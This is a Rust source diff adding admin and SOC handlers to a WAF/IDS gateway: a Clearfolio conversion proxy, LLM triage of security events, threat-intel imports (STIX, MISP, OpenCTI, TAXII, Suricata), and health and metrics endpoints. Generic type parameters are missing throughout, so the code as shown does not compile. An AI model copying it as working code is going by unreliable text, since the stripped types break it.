+    Some((name.to_string(), text.into_bytes()))
+}
+
+async fn clearfolio_relay_json(response: reqwest::Response) -> Response {
+    let status = StatusCode::from_u16(response.status().as_u16())
+        .expect("clearfolio status codes are valid HTTP status codes");
+    let body = response.bytes().await.unwrap_or_default();
+    (status, [("content-type", "application/json")], body).into_response()
+}
+
+#[derive(Serialize)]
+struct ClearfolioConfigView {
+    enabled: bool,
+    base_url: Option,
+    kinds: [&'static str; 2],
+}
+
+/// Reports whether the Clearfolio viewer is configured and its base URL, so the
+/// admin console can build viewer iframes. The base URL is not a secret.
+async fn clearfolio_config(State(state): State) -> Json {
+    let base_url = state.clearfolio.as_ref().map(|c| c.base_url.clone());
+    Json(ClearfolioConfigView {
+        enabled: base_url.is_some(),
+        base_url,
+        kinds: ["evidence-manifest", "soc-export"],
+    })
+}
+
+/// Submits a live waf-ids document to Clearfolio for conversion and relays the
+/// async job envelope (`jobId`, `status`, `statusUrl`) back to the console.
+async fn clearfolio_submit(
+    State(state): State,
+    PathParam(kind): PathParam,
+    headers: HeaderMap,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    let Some(config) = state.clearfolio.clone() else {
+        return error(
+            StatusCode::SERVICE_UNAVAILABLE,
+            "Clearfolio integration is not configured",
+        );
+    };
+    let document = {
+        let data = state.inner.read().await;
+        clearfolio_document(&kind, &data)
+    };
+    let Some((filename, bytes)) = document else {
+        return error(
+            StatusCode::NOT_FOUND,
+            format!("unknown document kind: {kind}"),
+        );
+    };
+    let part = reqwest::multipart::Part::bytes(bytes)
+        .file_name(filename)
+        .mime_str("text/plain")
+        .expect("text/plain is a valid MIME type");
+    let form = reqwest::multipart::Form::new().part("file", part);
+    let mut request = state
+        .http
+        .post(clearfolio_submit_url(&config.base_url))
+        .multipart(form);
+    for (name, value) in clearfolio_tenant_headers(&config) {
+        request = request.header(name, value);
+    }
+    match request.send().await {
+        Ok(response) => clearfolio_relay_json(response).await,
+        Err(err) => error(
+            StatusCode::BAD_GATEWAY,
+            format!("clearfolio request failed: {err}"),
+        ),
+    }
+}
+
+/// Proxies one Clearfolio job-status read (tenant headers applied server-side),
+/// so the browser can poll conversion progress without holding the credentials.
+async fn clearfolio_status(
+    State(state): State,
+    PathParam(job_id): PathParam,
+    headers: HeaderMap,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    let Some(config) = state.clearfolio.clone() else {
+        return error(
+            StatusCode::SERVICE_UNAVAILABLE,
+            "Clearfolio integration is not configured",
+        );
+    };
+    let mut request = state
+        .http
+        .get(clearfolio_status_url(&config.base_url, &job_id));
+    for (name, value) in clearfolio_tenant_headers(&config) {
+        request = request.header(name, value);
+    }
+    match request.send().await {
+        Ok(response) => clearfolio_relay_json(response).await,
+        Err(err) => error(
+            StatusCode::BAD_GATEWAY,
+            format!("clearfolio request failed: {err}"),
+        ),
+    }
+}
+
+// ---- LLM-backed SOC analysis ----------------------------------------------
+// Hands a recorded security event to an OpenAI-compatible chat endpoint (the
+// contextual-orchestrator gateway) for analyst-style triage. Single call; the
+// request/response shaping is pure and unit-tested, the HTTP glue is thin.
+
+/// Builds an OpenAI `/v1/chat/completions` request body that asks for concise
+/// SOC triage of one security event.
+fn soc_llm_chat_body(model: &str, event: &SecurityEvent) -> serde_json::Value {
+    let client_ip = event
+        .client_ip
+        .map(|ip| ip.to_string())
+        .unwrap_or_else(|| "unknown".to_string());
+    let user = format!(
+        "WAF/IDS security event:\n- action: {}\n- reason: {}\n- score: {}\n- path: {}\n- client_ip: {}\n- timestamp_unix: {}",
+        event.action, event.reason, event.score, event.path, client_ip, event.timestamp_unix
+    );
+    serde_json::json!({
+        "model": model,
+        "orchestration_mode": "auto",
+        "messages": [
+            {
+                "role": "system",
+                "content": "You are a senior SOC analyst. For the WAF/IDS event, state the likely attack class, a severity judgement, and one recommended action. Answer in under 120 words."
+            },
+            { "role": "user", "content": user }
+        ]
+    })
+}
+
+/// Extracts the assistant message text from an OpenAI-compatible chat response.
+fn soc_llm_extract_content(body: &serde_json::Value) -> Option {
+    body.get("choices")?
+        .get(0)?
+        .get("message")?
+        .get("content")?
+        .as_str()
+        .map(|text| text.to_string())
+}
+
+#[derive(Serialize)]
+struct SocLlmConfigView {
+    enabled: bool,
+    model: Option,
+}
+
+/// Reports whether LLM SOC analysis is configured (and which model), so the
+/// admin console can show or hide the analysis surface.
+async fn soc_llm_config(State(state): State) -> Json {
+    let model = state.soc_llm.as_ref().map(|c| c.model.clone());
+    Json(SocLlmConfigView {
+        enabled: model.is_some(),
+        model,
+    })
+}
+
+#[derive(Deserialize)]
+struct SocAnalyzeRequest {
+    event_id: u64,
+}
+
+#[derive(Debug, Clone, Deserialize, Serialize)]
+struct PhishingDatabaseImportRequest {
+    #[serde(default = "phishing_database_default_feed_id")]
+    feed_id: String,
+    #[serde(default = "phishing_database_default_source")]
+    source: String,
+    #[serde(default = "phishing_database_default_domain_url")]
+    domain_url: String,
+    #[serde(default = "phishing_database_default_ip_url")]
+    ip_url: String,
+    #[serde(default = "phishing_database_default_ttl_seconds")]
+    ttl_seconds: u64,
+    #[serde(default = "phishing_database_default_domain_limit")]
+    domain_limit: usize,
+    #[serde(default = "phishing_database_default_ip_limit")]
+    ip_limit: usize,
+    #[serde(default = "phishing_database_default_severity")]
+    severity: Severity,
+    #[serde(default = "default_true")]
+    import_domains: bool,
+    #[serde(default = "default_true")]
+    import_ips: bool,
+    #[serde(default)]
+    allow_non_default_hosts: bool,
+}
+
+#[derive(Debug, Clone, Deserialize, Serialize)]
+struct KevImportRequest {
+    #[serde(default = "kev_default_feed_id")]
+    feed_id: String,
+    #[serde(default = "kev_default_source")]
+    source: String,
+    #[serde(default = "kev_default_ttl_seconds")]
+    ttl_seconds: u64,
+}
+
+#[derive(Debug, Serialize)]
+struct KevImportResult {
+    feed_id: String,
+    upserted_threats: usize,
+    upserted_dnsbl: usize,
+    skipped_entries: usize,
+    last_updated_unix: u64,
+}
+
+#[derive(Serialize)]
+struct SocAnalyzeResponse {
+    event_id: u64,
+    model: String,
+    analysis: String,
+}
+
+/// Analyzes one recorded security event with the configured LLM and returns the
+/// analyst summary. Admin-authorized; the event is looked up by id.
+async fn soc_analyze(
+    State(state): State,
+    headers: HeaderMap,
+    Json(request): Json,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    let Some(config) = state.soc_llm.clone() else {
+        return error(
+            StatusCode::SERVICE_UNAVAILABLE,
+            "LLM SOC analysis is not configured",
+        );
+    };
+    let event = {
+        let data = state.inner.read().await;
+        data.events
+            .iter()
+            .find(|event| event.id == request.event_id)
+            .cloned()
+    };
+    let Some(event) = event else {
+        return error(
+            StatusCode::NOT_FOUND,
+            format!("unknown event id: {}", request.event_id),
+        );
+    };
+    let body = soc_llm_chat_body(&config.model, &event);
+    let endpoint = format!(
+        "{}/v1/chat/completions",
+        config.base_url.trim_end_matches('/')
+    );
+    let response = state
+        .http
+        .post(endpoint)
+        .bearer_auth(&config.token)
+        .json(&body)
+        .send()
+        .await;
+    match response {
+        Ok(response) => match response.json::().await {
+            Ok(json) => match soc_llm_extract_content(&json) {
+                Some(analysis) => Json(SocAnalyzeResponse {
+                    event_id: event.id,
+                    model: config.model,
+                    analysis,
+                })
+                .into_response(),
+                None => error(
+                    StatusCode::BAD_GATEWAY,
+                    "llm response missing choices[0].message.content",
+                ),
+            },
+            Err(err) => error(
+                StatusCode::BAD_GATEWAY,
+                format!("llm response read failed: {err}"),
+            ),
+        },
+        Err(err) => error(
+            StatusCode::BAD_GATEWAY,
+            format!("llm request failed: {err}"),
+        ),
+    }
+}
+
+async fn healthz(State(state): State) -> Json {
+    Json(state.health_status())
+}
+
+/// Build/version metadata for deployment verification.
+async fn version() -> Json {
+    Json(serde_json::json!({
+        "name": env!("CARGO_PKG_NAME"),
+        "version": env!("CARGO_PKG_VERSION"),
+    }))
+}
+
+/// Kubernetes readiness probe: distinct from `/healthz` (liveness), it reports
+/// whether the gateway is configured to serve — i.e. has an enabled route.
+async fn readyz(State(state): State) -> Response {
+    let routes_enabled = {
+        let data = state.inner.read().await;
+        data.routes.iter().filter(|route| route.enabled).count()
+    };
+    let ready = routes_enabled > 0;
+    let status = if ready {
+        StatusCode::OK
+    } else {
+        StatusCode::SERVICE_UNAVAILABLE
+    };
+    (
+        status,
+        Json(serde_json::json!({
+            "ready": ready,
+            "routes_enabled": routes_enabled,
+        })),
+    )
+        .into_response()
+}
+
+async fn admin_console() -> Html<&'static str> {
+    Html(ADMIN_HTML)
+}
+
+async fn list_routes(State(state): State) -> Json> {
+    Json(state.inner.read().await.routes.clone())
+}
+
+async fn create_route(
+    State(state): State,
+    headers: HeaderMap,
+    Json(route): Json,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if let Err(message) = validate_route(&route) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+
+    let actor = audit_actor(&state, &headers);
+    match state
+        .mutate_and_persist(|data| {
+            let saved = upsert_route(&mut data.routes, route.clone());
+            record_successful_audit_log(data, actor, "upsert_route", "route", saved.id.clone());
+            saved
+        })
+        .await
+    {
+        Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+async fn list_threats(State(state): State) -> Json> {
+    Json(state.inner.read().await.threats.clone())
+}
+
+async fn create_threat(
+    State(state): State,
+    headers: HeaderMap,
+    Json(indicator): Json,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if let Err(message) = validate_threat(&indicator) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+
+    let actor = audit_actor(&state, &headers);
+    match state
+        .mutate_and_persist(|data| {
+            let saved = upsert_threat(&mut data.threats, indicator.clone());
+            mark_operator_threat_key(data, &saved);
+            record_successful_audit_log(
+                data,
+                actor,
+                "upsert_threat",
+                "threat_indicator",
+                threat_resource_id(&saved),
+            );
+            saved
+        })
+        .await
+    {
+        Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+async fn list_dnsbl(State(state): State) -> Json> {
+    Json(state.inner.read().await.dnsbl.clone())
+}
+
+async fn create_dnsbl(
+    State(state): State,
+    headers: HeaderMap,
+    Json(entry): Json,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if let Err(message) = validate_dnsbl(&entry) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+
+    let actor = audit_actor(&state, &headers);
+    match state
+        .mutate_and_persist(|data| {
+            let saved = upsert_dnsbl(&mut data.dnsbl, entry.clone());
+            record_successful_audit_log(
+                data,
+                actor,
+                "upsert_dnsbl",
+                "dnsbl_entry",
+                saved.address.to_string(),
+            );
+            saved
+        })
+        .await
+    {
+        Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+#[derive(Deserialize)]
+struct EventQuery {
+    #[serde(default)]
+    action: Option,
+    #[serde(default)]
+    limit: Option,
+}
+
+/// Lists security events, optionally filtered by `action` and capped to the most
+/// recent `limit` (chronological order preserved) for SOC triage.
+async fn list_events(
+    State(state): State,
+    Query(query): Query,
+) -> Json> {
+    let data = state.inner.read().await;
+    let mut events: Vec = match &query.action {
+        Some(action) => data
+            .events
+            .iter()
+            .filter(|event| &event.action == action)
+            .cloned()
+            .collect(),
+        None => data.events.clone(),
+    };
+    if let Some(limit) = query.limit {
+        let start = events.len().saturating_sub(limit);
+        events.drain(..start);
+    }
+    Json(events)
+}
+
+async fn list_audit_logs(State(state): State, headers: HeaderMap) -> Response {
+    // Audit logs are operator-sensitive: any valid admin principal may read
+    // (including readonly); unauthenticated callers are rejected when auth is on.
+    if !admin_authenticated(&state, &headers) {
+        return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token");
+    }
+    Json(state.inner.read().await.audit_logs.clone()).into_response()
+}
+
+async fn kpis(State(state): State) -> Json {
+    let data = state.inner.read().await;
+    Json(kpi_snapshot_at(&data, now_unix()))
+}
+
+async fn list_signatures() -> Json> {
+    Json(signature_catalog())
+}
+
+#[derive(Deserialize)]
+struct EvaluateRequest {
+    path: String,
+    #[serde(default)]
+    query: Option,
+    #[serde(default)]
+    body: Option,
+    #[serde(default)]
+    client_ip: Option,
+}
+
+#[derive(Serialize)]
+struct EvaluateResponse {
+    score: u16,
+    reason: String,
+    would_block: bool,
+}
+
+/// Scores a synthetic request against the current detection state without
+/// proxying it, so operators can test payloads and tune rules offline.
+async fn evaluate_request(
+    State(state): State,
+    Json(request): Json,
+) -> Json {
+    let data = state.inner.read().await;
+    let scored = score_request(
+        &request.path,
+        request.query.as_deref(),
+        request.body.as_deref().unwrap_or(""),
+        request.client_ip,
+        &data.threats,
+        &data.dnsbl,
+    );
+    Json(EvaluateResponse {
+        would_block: scored.score >= BLOCK_SCORE,
+        score: scored.score,
+        reason: scored.reason,
+    })
+}
+
+async fn metrics(State(state): State) -> impl IntoResponse {
+    let body = {
+        let data = state.inner.read().await;
+        prometheus_exposition(&kpi_snapshot_at(&data, now_unix()))
+    };
+    (
+        [(
+            axum::http::header::CONTENT_TYPE,
+            "text/plain; version=0.0.4; charset=utf-8",
+        )],
+        body,
+    )
+}
+
+async fn get_commercial_license(State(state): State) -> Json {
+    Json(state.inner.read().await.commercial.clone())
+}
+
+async fn update_commercial_license(
+    State(state): State,
+    headers: HeaderMap,
+    Json(profile): Json,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if let Err(message) = validate_commercial_profile(&profile) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+
+    let actor = audit_actor(&state, &headers);
+    match state
+        .mutate_and_persist(|data| {
+            data.commercial = profile.clone();
+            record_successful_audit_log(
+                data,
+                actor,
+                "update_commercial_license",
+                "commercial_license",
+                profile.tenant_id.clone(),
+            );
+            profile
+        })
+        .await
+    {
+        Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+async fn commercial_readiness(State(state): State) -> Json {
+    let data = state.inner.read().await;
+    Json(commercial_readiness_snapshot_at(&data, now_unix()))
+}
+
+async fn commercial_evidence_manifest(
+    State(state): State,
+) -> Json {
+    let data = state.inner.read().await;
+    Json(buyer_evidence_manifest_at(&data, now_unix()))
+}
+
+async fn list_threat_feeds(State(state): State) -> Json> {
+    Json(state.inner.read().await.threat_feeds.clone())
+}
+
+async fn threat_feed_freshness(State(state): State) -> Json> {
+    let data = state.inner.read().await;
+    Json(threat_feed_freshness_snapshot(
+        &data.threat_feeds,
+        now_unix(),
+    ))
+}
+
+async fn import_threat_feed(
+    State(state): State,
+    headers: HeaderMap,
+    Json(feed): Json,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if let Err(message) = validate_threat_feed_import(&feed) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+
+    let actor = audit_actor(&state, &headers);
+    match apply_threat_feed_import(&state, actor, "import_threat_feed", feed).await {
+        Ok(result) => (StatusCode::CREATED, Json(result)).into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+/// Optional STIX import metadata via query string.
+#[derive(Debug, Deserialize)]
+struct StixImportQuery {
+    #[serde(default = "stix_default_feed_id")]
+    feed_id: String,
+    #[serde(default = "stix_default_source")]
+    source: String,
+    #[serde(default = "stix_default_ttl_seconds")]
+    ttl_seconds: u64,
+}
+
+fn stix_default_feed_id() -> String {
+    "stix-import".to_string()
+}
+fn stix_default_source() -> String {
+    "stix".to_string()
+}
+fn stix_default_ttl_seconds() -> u64 {
+    86_400
+}
+
+#[derive(Debug, Serialize)]
+struct StixImportResult {
+    feed_id: String,
+    upserted_threats: usize,
+    upserted_dnsbl: usize,
+    skipped_objects: usize,
+    last_updated_unix: u64,
+}
+
+/// Ingest a STIX 2.x indicator or bundle (JSON body). Admin-auth only.
+/// Query: `feed_id`, `source`, `ttl_seconds` (defaults: stix-import / stix / 86400).
+async fn import_stix_document(
+    State(state): State,
+    headers: HeaderMap,
+    Query(query): Query,
+    body: Bytes,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if query.feed_id.trim().is_empty() || query.source.trim().is_empty() {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "feed_id and source must be non-empty",
+        );
+    }
+    if query.ttl_seconds == 0 {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "ttl_seconds must be greater than 0",
+        );
+    }
+    let body_text = match std::str::from_utf8(&body) {
+        Ok(text) => text,
+        Err(_) => return error(StatusCode::BAD_REQUEST, "STIX body must be UTF-8 text"),
+    };
+    let material =
+        match stix_import::parse_stix_document(body_text, query.source.trim(), query.ttl_seconds) {
+            Ok(material) => material,
+            Err(message) => return error(StatusCode::BAD_REQUEST, message),
+        };
+
+    let actor = audit_actor(&state, &headers);
+    let feed = ThreatFeedImport {
+        feed_id: query.feed_id.trim().to_string(),
+        source: query.source.trim().to_string(),
+        ttl_seconds: query.ttl_seconds,
+        threats: material.threats,
+        dnsbl: material.dnsbl,
+    };
+    if let Err(message) = validate_threat_feed_import(&feed) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+    let skipped_objects = material.skipped_objects;
+    match apply_threat_feed_import(&state, actor, "import_stix_document", feed).await {
+        Ok(result) => (
+            StatusCode::CREATED,
+            Json(StixImportResult {
+                feed_id: result.feed_id,
+                upserted_threats: result.upserted_threats,
+                upserted_dnsbl: result.upserted_dnsbl,
+                skipped_objects,
+                last_updated_unix: result.last_updated_unix,
+            }),
+        )
+            .into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+/// Optional MISP import metadata via query string.
+#[derive(Debug, Deserialize)]
+struct MispImportQuery {
+    #[serde(default = "misp_default_feed_id")]
+    feed_id: String,
+    #[serde(default = "misp_default_source")]
+    source: String,
+    #[serde(default = "misp_default_ttl_seconds")]
+    ttl_seconds: u64,
+}
+
+fn misp_default_feed_id() -> String {
+    "misp-import".to_string()
+}
+fn misp_default_source() -> String {
+    "misp".to_string()
+}
+fn misp_default_ttl_seconds() -> u64 {
+    86_400
+}
+
+#[derive(Debug, Serialize)]
+struct MispImportResult {
+    feed_id: String,
+    upserted_threats: usize,
+    upserted_dnsbl: usize,
+    skipped_attributes: usize,
+    last_updated_unix: u64,
+}
+
+/// Ingest a MISP event/attribute export (JSON body). Admin-auth only.
+/// Query: `feed_id`, `source`, `ttl_seconds` (defaults: misp-import / misp / 86400).
+async fn import_misp_document(
+    State(state): State,
+    headers: HeaderMap,
+    Query(query): Query,
+    body: Bytes,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if query.feed_id.trim().is_empty() || query.source.trim().is_empty() {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "feed_id and source must be non-empty",
+        );
+    }
+    if query.ttl_seconds == 0 {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "ttl_seconds must be greater than 0",
+        );
+    }
+    let body_text = match std::str::from_utf8(&body) {
+        Ok(text) => text,
+        Err(_) => return error(StatusCode::BAD_REQUEST, "MISP body must be UTF-8 text"),
+    };
+    let material =
+        match misp_import::parse_misp_document(body_text, query.source.trim(), query.ttl_seconds) {
+            Ok(material) => material,
+            Err(message) => return error(StatusCode::BAD_REQUEST, message),
+        };
+
+    let actor = audit_actor(&state, &headers);
+    let feed = ThreatFeedImport {
+        feed_id: query.feed_id.trim().to_string(),
+        source: query.source.trim().to_string(),
+        ttl_seconds: query.ttl_seconds,
+        threats: material.threats,
+        dnsbl: material.dnsbl,
+    };
+    if let Err(message) = validate_threat_feed_import(&feed) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+    let skipped_attributes = material.skipped_attributes;
+    match apply_threat_feed_import(&state, actor, "import_misp_document", feed).await {
+        Ok(result) => (
+            StatusCode::CREATED,
+            Json(MispImportResult {
+                feed_id: result.feed_id,
+                upserted_threats: result.upserted_threats,
+                upserted_dnsbl: result.upserted_dnsbl,
+                skipped_attributes,
+                last_updated_unix: result.last_updated_unix,
+            }),
+        )
+            .into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+/// Optional OpenCTI import metadata via query string.
+#[derive(Debug, Deserialize)]
+struct OpenCtiImportQuery {
+    #[serde(default = "opencti_default_feed_id")]
+    feed_id: String,
+    #[serde(default = "opencti_default_source")]
+    source: String,
+    #[serde(default = "opencti_default_ttl_seconds")]
+    ttl_seconds: u64,
+}
+
+fn opencti_default_feed_id() -> String {
+    "opencti-import".to_string()
+}
+fn opencti_default_source() -> String {
+    "opencti".to_string()
+}
+fn opencti_default_ttl_seconds() -> u64 {
+    86_400
+}
+
+#[derive(Debug, Serialize)]
+struct OpenCtiImportResult {
+    feed_id: String,
+    upserted_threats: usize,
+    upserted_dnsbl: usize,
+    skipped_objects: usize,
+    last_updated_unix: u64,
+}
+
+/// Ingest an OpenCTI observable/indicator export (JSON body). Admin-auth only.
+/// Query: `feed_id`, `source`, `ttl_seconds` (defaults: opencti-import / opencti / 86400).
+async fn import_opencti_document(
+    State(state): State,
+    headers: HeaderMap,
+    Query(query): Query,
+    body: Bytes,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if query.feed_id.trim().is_empty() || query.source.trim().is_empty() {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "feed_id and source must be non-empty",
+        );
+    }
+    if query.ttl_seconds == 0 {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "ttl_seconds must be greater than 0",
+        );
+    }
+    let body_text = match std::str::from_utf8(&body) {
+        Ok(text) => text,
+        Err(_) => {
+            return error(StatusCode::BAD_REQUEST, "OpenCTI body must be UTF-8 text");
+        }
+    };
+    let material = match opencti_import::parse_opencti_document(
+        body_text,
+        query.source.trim(),
+        query.ttl_seconds,
+    ) {
+        Ok(material) => material,
+        Err(message) => return error(StatusCode::BAD_REQUEST, message),
+    };
+
+    let actor = audit_actor(&state, &headers);
+    let feed = ThreatFeedImport {
+        feed_id: query.feed_id.trim().to_string(),
+        source: query.source.trim().to_string(),
+        ttl_seconds: query.ttl_seconds,
+        threats: material.threats,
+        dnsbl: material.dnsbl,
+    };
+    if let Err(message) = validate_threat_feed_import(&feed) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+    let skipped_objects = material.skipped_objects;
+    match apply_threat_feed_import(&state, actor, "import_opencti_document", feed).await {
+        Ok(result) => (
+            StatusCode::CREATED,
+            Json(OpenCtiImportResult {
+                feed_id: result.feed_id,
+                upserted_threats: result.upserted_threats,
+                upserted_dnsbl: result.upserted_dnsbl,
+                skipped_objects,
+                last_updated_unix: result.last_updated_unix,
+            }),
+        )
+            .into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+/// TAXII 2.1 collection poll request (admin-auth).
+/// Provide either `objects_url` or (`api_root` + `collection_id`).
+#[derive(Debug, Deserialize)]
+struct TaxiiPollRequest {
+    #[serde(default)]
+    objects_url: Option,
+    #[serde(default)]
+    api_root: Option,
+    #[serde(default)]
+    collection_id: Option,
+    #[serde(default = "taxii_default_feed_id")]
+    feed_id: String,
+    #[serde(default = "taxii_default_source")]
+    source: String,
+    #[serde(default = "taxii_default_ttl_seconds")]
+    ttl_seconds: u64,
+    /// Optional ISO-8601 timestamp filter (`added_after` TAXII query param).
+    #[serde(default)]
+    added_after: Option,
+    #[serde(default)]
+    bearer_token: Option,
+    #[serde(default)]
+    username: Option,
+    #[serde(default)]
+    password: Option,
+}
+
+fn taxii_default_feed_id() -> String {
+    "taxii-import".to_string()
+}
+fn taxii_default_source() -> String {
+    "taxii".to_string()
+}
+fn taxii_default_ttl_seconds() -> u64 {
+    86_400
+}
+
+#[derive(Debug, Serialize)]
+struct TaxiiPollResult {
+    feed_id: String,
+    objects_url: String,
+    upserted_threats: usize,
+    upserted_dnsbl: usize,
+    skipped_objects: usize,
+    last_updated_unix: u64,
+}
+
+/// Poll a TAXII 2.1 collection objects endpoint and import STIX indicators.
+/// Secrets in the request body are never written to audit logs.
+async fn poll_taxii_collection(
+    State(state): State,
+    headers: HeaderMap,
+    Json(request): Json,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if request.feed_id.trim().is_empty() || request.source.trim().is_empty() {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "feed_id and source must be non-empty",
+        );
+    }
+    if request.ttl_seconds == 0 {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "ttl_seconds must be greater than 0",
+        );
+    }
+
+    let base_url = match resolve_taxii_objects_url(&request) {
+        Ok(url) => url,
+        Err(message) => return error(StatusCode::BAD_REQUEST, message),
+    };
+    if let Err(message) = validate_http_url(&base_url, /* allow_non_default_hosts */ true) {
+        return error(
+            StatusCode::BAD_REQUEST,
+            format!("invalid TAXII objects URL: {message}"),
+        );
+    }
+    let objects_url = match taxii::with_taxii_filters(&base_url, request.added_after.as_deref()) {
+        Ok(url) => url,
+        Err(message) => return error(StatusCode::BAD_REQUEST, message),
+    };
+
+    let body_text = match fetch_taxii_objects(
+        &state,
+        &objects_url,
+        request.bearer_token.as_deref(),
+        request.username.as_deref(),
+        request.password.as_deref(),
+    )
+    .await
+    {
+        Ok(body) => body,
+        Err(message) => return error(StatusCode::BAD_GATEWAY, message),
+    };
+
+    let stix_json = match taxii::stix_json_from_taxii_response(&body_text) {
+        Ok(json) => json,
+        Err(message) => return error(StatusCode::BAD_REQUEST, message),
+    };
+    let material = match stix_import::parse_stix_document(
+        &stix_json,
+        request.source.trim(),
+        request.ttl_seconds,
+    ) {
+        Ok(material) => material,
+        Err(message) => return error(StatusCode::BAD_REQUEST, message),
+    };
+
+    let actor = audit_actor(&state, &headers);
+    let feed = ThreatFeedImport {
+        feed_id: request.feed_id.trim().to_string(),
+        source: request.source.trim().to_string(),
+        ttl_seconds: request.ttl_seconds,
+        threats: material.threats,
+        dnsbl: material.dnsbl,
+    };
+    if let Err(message) = validate_threat_feed_import(&feed) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+    let skipped_objects = material.skipped_objects;
+    match apply_threat_feed_import(&state, actor, "poll_taxii_collection", feed).await {
+        Ok(result) => (
+            StatusCode::CREATED,
+            Json(TaxiiPollResult {
+                feed_id: result.feed_id,
+                objects_url: base_url,
+                upserted_threats: result.upserted_threats,
+                upserted_dnsbl: result.upserted_dnsbl,
+                skipped_objects,
+                last_updated_unix: result.last_updated_unix,
+            }),
+        )
+            .into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+fn resolve_taxii_objects_url(request: &TaxiiPollRequest) -> Result {
+    if let Some(url) = request
+        .objects_url
+        .as_deref()
+        .map(str::trim)
+        .filter(|s| !s.is_empty())
+    {
+        return Ok(url.to_string());
+    }
+    let api_root = request
+        .api_root
+        .as_deref()
+        .map(str::trim)
+        .filter(|s| !s.is_empty());
+    let collection_id = request
+        .collection_id
+        .as_deref()
+        .map(str::trim)
+        .filter(|s| !s.is_empty());
+    match (api_root, collection_id) {
+        (Some(root), Some(id)) => taxii::collection_objects_url(root, id),
+        _ => {
+            Err("provide objects_url or both api_root and collection_id for TAXII poll".to_string())
+        }
+    }
+}
+
+async fn fetch_taxii_objects(
+    state: &AppState,
+    url: &str,
+    bearer_token: Option<&str>,
+    username: Option<&str>,
+    password: Option<&str>,
+) -> Result {
+    use futures_util::StreamExt;
+
+    let mut request = state
+        .feed_http
+        .get(url)
+        .header(
+            "Accept",
+            "application/taxii+json;version=2.1, application/stix+json;version=2.1, application/json",
+        )
+        .timeout(std::time::Duration::from_secs(
+            PHISHING_DATABASE_FETCH_TIMEOUT_SECS,
+        ));
+
+    if let Some(token) = bearer_token.map(str::trim).filter(|s| !s.is_empty()) {
+        request = request.bearer_auth(token);
+    } else if let Some(user) = username.map(str::trim).filter(|s| !s.is_empty()) {
+        request = request.basic_auth(user, password);
+    }
+
+    let response = request
+        .send()
+        .await
+        .map_err(|error| format!("failed to poll TAXII collection: {error}"))?;
+    let status = response.status();
+    if !status.is_success() {
+        return Err(format!("TAXII server returned HTTP {status}"));
+    }
+    if let Some(len) = response.content_length()
+        && len as usize > PHISHING_DATABASE_MAX_BODY_BYTES
+    {
+        return Err(format!(
+            "TAXII response body too large: {len} bytes (limit: {PHISHING_DATABASE_MAX_BODY_BYTES})"
+        ));
+    }
+    let mut bytes = Vec::new();
+    let mut stream = response.bytes_stream();
+    while let Some(chunk) = stream.next().await {
+        let chunk = chunk.map_err(|error| format!("failed to read TAXII body: {error}"))?;
+        if bytes.len().saturating_add(chunk.len()) > PHISHING_DATABASE_MAX_BODY_BYTES {
+            return Err(format!(
+                "TAXII response body too large: limit {PHISHING_DATABASE_MAX_BODY_BYTES} bytes exceeded while streaming"
+            ));
+        }
+        bytes.extend_from_slice(&chunk);
+    }
+    String::from_utf8(bytes).map_err(|error| format!("TAXII response is not valid UTF-8: {error}"))
+}
+
+/// Ingest Suricata EVE JSON (single object, array, or NDJSON). Admin-auth only.
+/// Maps `event_type=alert` records into gateway security events for SOC export.
+#[derive(Debug, Serialize)]
+struct SuricataEveImportResult {
+    accepted_alerts: usize,
+    skipped_non_alerts: usize,
+    event_ids: Vec,
